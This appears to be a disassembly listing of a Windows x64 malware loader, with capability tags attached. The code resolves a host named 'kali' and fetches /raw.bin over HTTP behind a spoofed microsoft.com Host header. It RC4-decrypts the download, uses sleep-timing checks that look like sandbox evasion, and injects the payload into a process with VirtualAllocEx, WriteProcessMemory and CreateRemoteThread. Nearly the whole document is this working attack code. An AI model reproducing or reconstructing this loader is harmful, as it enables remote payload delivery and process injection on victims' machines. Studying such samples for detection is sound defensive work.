Function at 0x140001000
Capabilities:
Connect socket
Encode data using xor
Initialize winsock library
Link many functions at runtime
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Terminate process

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x63eb8]
mov eax, 0x63fb8
call fcn.140002ac0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x63e80], rax
mov ecx, 0x202
lea rdx, [rbp + 0x3a0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, eax
test eax, eax
je 0x14000107b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.WSAStartup_failed:
call fcn.140001990
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001b60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Winsock_initialized_successfully
mov qword [rsp + 0x63fd8], rdi
call fcn.140001990
mov rcx, rax
lea rdx, [0x140001b60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
mov dword [rsp + 0x64], 2
xorps xmm1, xmm1
mov dword [rsp + 0x68], 1
xor edi, edi
mov dword [rsp + 0x6c], 6
lea r9, [rsp + 0x58]
mov qword [rsp + 0x58], rdi
lea r8, [rsp + 0x60]
mov dword [rsp + 0x60], edi
lea rdx, [0x1400034c4]
lea rcx, str.kali
movdqu xmmword [rsp + 0x70], xmm0
movdqu xmmword [rbp - 0x80], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov ebx, eax
test eax, eax
je 0x14000113c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.getaddrinfo_failed:
call fcn.140001990
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001b60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x63fd0], rsi
mov r8d, dword [rcx + 0xc]
mov edx, dword [rcx + 8]
mov ecx, dword [rcx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400011a0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error:_socket_creation_failed
call fcn.140001990
mov rcx, rax
lea rdx, [0x140001b60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [rsi + 2]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, qword [rsp + 0x58]
mov rcx, rsi
mov r8d, dword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400011f9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error:_connection_failed
call fcn.140001990
mov rcx, rax
lea rdx, [0x140001b60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Connection_success
call fcn.140001990
mov rcx, rax
lea rdx, [0x140001b60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
lea rdx, str.GET__raw.bin_HTTP_1.1_r_nHost:_www.microsoft.com_r_n_r_n
mov rcx, rsi
lea r8d, [r9 + 0x32]
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
cmp eax, 0xffffffff
jne 0x140001296
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.send_failed:
mov ebx, eax
call fcn.140001990
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001b60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Bytes_Sent:
call fcn.140001990
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001b60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, edi
nop word [rax + rax]
mov r8d, 0x31c9f
movsxd rax, ebx
lea rdx, [rbp + 0x540]
sub r8d, ebx
add rdx, rax
xor r9d, r9d
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jle 0x140001332
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Bytes_received:
call fcn.140001990
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001b60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
add ebx, edi
cmp ebx, 0x31c9f
jl 0x1400012d0
jmp 0x14000135d
test edi, edi
jne 0x1400018c9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Connection_closed
call fcn.140001990
mov rcx, rax
lea rdx, [0x140001b60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x63fe0], r12
lea rdx, str._r_n_r_n
mov qword [rsp + 0x63fa8], r14
lea rcx, [rbp + 0x540]
movsxd r12, ebx
mov qword [rsp + 0x63fa0], r15
movaps xmmword [rsp + 0x63f90], xmm7
mov byte [rbp + r12 + 0x540], 0
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov r14, rax
test rax, rax
je 0x1400013c4
add r14, 4
lea rdx, str.Body:
call fcn.140001990
mov rcx, rax
mov rdx, r14
jmp 0x1400013cb
lea rdx, str.No_se_encontraron_los_encabezados.
call fcn.140001990
lea rdx, [0x140001b60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea r15, [rbp + 0x540]
mov rax, r12
mov qword [rsp + 0x63fb0], r13
sub rax, r14
lea rdx, str.Total_de_bytes_del_cuerpo:
add r15, rax
mov qword [rsp + 0x48], r15
call fcn.140001990
mov rcx, rax
mov rdx, r15
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140001b60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x58], 5
mov rbx, rax
call fcn.140001ba0
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
movsd xmm7, qword [0x140003678]
xorps xmm0, xmm0
sub rax, rbx
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140003680]
comisd xmm7, xmm0
jae 0x1400018c0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
test eax, eax
jne 0x140001507
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_find_process
call fcn.140001990
mov rcx, rax
lea rdx, [0x140001b60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov r13, qword [rsp + 0x63fb0]
mov r14, qword [rsp + 0x63fa8]
mov r15, qword [rsp + 0x63fa0]
mov r12, qword [rsp + 0x63fe0]
movaps xmm7, xmmword [rsp + 0x63f90]
mov rsi, qword [rsp + 0x63fd0]
mov rdi, qword [rsp + 0x63fd8]
mov rcx, qword [rbp + 0x63e80]
xor rcx, rsp
call fcn.140001dc0
add rsp, 0x63fb8
pop rbx
pop rbp
ret
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.CreateProcessW
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualAllocEx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.WriteProcessMemory
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CloseHandle
mov rcx, rbx
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CreateRemoteThread
mov rcx, rbx
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400014b1
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8, r15
xor edx, edx
mov rcx, rax
call rsi
mov r15, rax
test rax, rax
je 0x1400018b5
lea rcx, str.8Rg0Rg0L_q3VnHyyq3VnHyq3VnHRg0yq3VnHyq3VnHyq3VnHRg0yqyq3VnHyq3VnHRg0y3VnHyq3VnHyq3VnHyq3VnHyq3VnHRg0yyq3VnHyq3VnHyq3VnHyIwyq3VnHyq3VnHRg0y7zTpRg0Rg0Rg0Rg0Rg0Rg0Rg0Rg0Rg0Rg0Rg0
mov r8, r12
movups xmm0, xmmword [rcx]
lea rdx, [rbp + 0x3a0]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x40]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm1
movups xmmword [rdx + 0x30], xmm0
mov dword [rdx + 0x40], eax
movzx eax, word [rcx + 0x44]
mov word [rdx + 0x44], ax
movzx eax, byte [rcx + 0x46]
lea rcx, [rbp + 0x321e0]
mov byte [rdx + 0x46], al
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x3a0]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140001664
movdqa xmm2, xmmword [0x140003690]
lea r8, [rbp - 0x48]
xor r14d, r14d
mov edx, 8
mov qword [rbp - 0x70], r14
nop word [rax + rax]
lea eax, [rdx - 8]
movd xmm0, eax
lea r8, [r8 + 0x40]
pshufd xmm0, xmm0, 0
lea eax, [rdx - 4]
paddd xmm0, xmm2
movd xmm1, eax
movdqu xmmword [r8 - 0x60], xmm0
lea eax, [rdx + 4]
pshufd xmm1, xmm1, 0
paddd xmm1, xmm2
movd xmm0, edx
movdqu xmmword [r8 - 0x50], xmm1
add edx, 0x10
movd xmm1, eax
pshufd xmm0, xmm0, 0
pshufd xmm1, xmm1, 0
paddd xmm0, xmm2
movdqu xmmword [r8 - 0x40], xmm0
lea eax, [rdx - 8]
paddd xmm1, xmm2
movdqu xmmword [r8 - 0x30], xmm1
cmp eax, 0x100
jl 0x140001690
mov r8d, r14d
movsxd r11, ecx
mov r9, r14
mov r10, r14
nop dword [rax]
nop word [rax + rax]
add r8b, byte [rbp + r10 + 0x3a0]
mov edx, dword [rbp + r9*4 - 0x68]
add r8b, dl
movzx r8d, r8b
mov eax, dword [rbp + r8*4 - 0x68]
mov dword [rbp + r9*4 - 0x68], eax
lea rax, [r10 + 1]
inc r9
mov dword [rbp + r8*4 - 0x68], edx
cmp rax, r11
mov r10, r14
cmovl r10, rax
cmp r9, 0x100
jl 0x140001710
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x58], 5
mov rbx, rax
call fcn.140001ba0
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
sub rax, rbx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140003680]
comisd xmm7, xmm0
jae 0x1400018c0
mov r9, qword [rsp + 0x48]
mov r11d, dword [rbp - 0x70]
mov ebx, dword [rbp - 0x6c]
movsxd rsi, r9d
test r9d, r9d
jle 0x1400017eb
mov r10, r14
nop dword [rax]
nop word [rax + rax]
inc r11b
movzx r11d, r11b
mov r8d, dword [rbp + r11*4 - 0x68]
add bl, r8b
movzx ebx, bl
mov ecx, dword [rbp + rbx*4 - 0x68]
mov dword [rbp + r11*4 - 0x68], ecx
add cl, r8b
movzx eax, cl
mov dword [rbp + rbx*4 - 0x68], r8d
movzx ecx, byte [rbp + rax*4 - 0x68]
xor byte [rbp + r10 + 0x321e0], cl
inc r10
cmp r10, rsi
jl 0x1400017b0
lea r8, [rbp + 0x321e0]
mov qword [rsp + 0x20], r14
mov rdx, r15
mov rcx, rdi
call qword [rsp + 0x40]
test eax, eax
je 0x1400018a0
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], 5
mov rbx, rax
call fcn.140001ba0
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
sub rax, rbx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140003680]
comisd xmm7, xmm0
jae 0x1400018c0
mov qword [rsp + 0x30], r14
mov r9, r15
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rdi
call qword [rsp + 0x50]
mov rbx, rax
test rax, rax
je 0x1400018a0
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call r13
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call r13
xor eax, eax
jmp 0x1400014b6
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call r13
jmp 0x1400014b1
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.recv_failed:
mov ebx, eax
call fcn.140001990
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001b60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3